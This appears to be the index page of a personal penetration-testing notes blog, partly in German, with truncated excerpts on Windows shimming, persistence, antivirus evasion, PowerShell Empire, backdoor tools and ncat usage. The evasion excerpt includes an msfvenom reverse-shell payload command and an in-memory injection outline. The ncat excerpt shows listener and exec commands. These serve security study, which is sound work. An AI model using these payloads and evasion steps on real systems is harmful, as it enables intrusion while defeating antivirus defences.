akde/infosec

Click Here

  • Shimming (Application Compatibility Framework)

    The Win­dows Appli­ca­tion Com­pat­i­bil­i­ty Frame­work (shim­ming) pro­vides a way to change the sys­tem behav­iour for an appli­ca­tion in order to func­tion like in old­er sys­tems. It works via the IAT Import address Table at load time and can change func­tions, library address­es etc. this way. Creating a shim A shim can be reg­is­tered with the sys­tem via…

  • Persistence on Windows Systems

    See also Autostart (Per­sis­tence) | Hexacorn

  • Antivirus evasion techniques

    Short sum­ma­ry of techniques: Example of a manual In-memory injection Cre­ate a reverse shell pay­load for PowerShell: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.211 LPORT=443 -f powershell -v sc Use this Pow­er­Shell script, which injects the shell­code into the own (Pow­er­Shell) process and exe­cutes it in a new thread: Start a lis­ten­er and exe­cute it in the vic­tim’s…

  • PowerShell Empire

    Main­ly post exploita­tion for AD envi­ron­ments. (Down­load — also includ­ed in Kali sources) Quick usage for privilege escalation General usage Metas­ploit syn­tax / PSE syntax Note: After use­mod­ule don’t for­get to go “back” and to “inter­act” with the agent to see job results! Com­mands with an aster­ix require a high-integri­ty Empire Agent. To upgrade one…

  • Maintain shell access

    Weevely https://tools.kali.org/maintaining-access/weevely Erzeugt PHP-Skript auf Serv­er, mit dem man eine Shell wieder bekom­men kann. Various scripts Shelter (win32) Dynam­ic shell injec­tion tool into nor­mal Win­dows binaries. https://tools.kali.org/maintaining-access/shellter Create own (normal) shell HTTPTunnel Needs PHP; cre­ates file on a serv­er which acts as SSH proxy. Nishang Col­lec­tion of Pow­er­Shell scripts for back­doors and more. Kali:/usr/share/nishang dns2tcp Cre­ates a TCP…

  • ncat

    Namenskonfusion Datei ausliefern: echo -e "HTTP/1.1 200 OK\nContent-Length: 5\n\nHallo" | nc -l localhost 8000 Datei anfragen über SSL: echo -e "GET / HTTP/1.1\nHost: localhost\n\n" | ncat -C --ssl localhost 443 Gebe Ausgabe von Programm zurück: ncat -l localhost 3000 --exec /bin/date Datei direkt übertragen (unverschlüsselt!): 1. Empfänger: user@host02:~$ ncat -l > aha oder nc -nlvp 4444…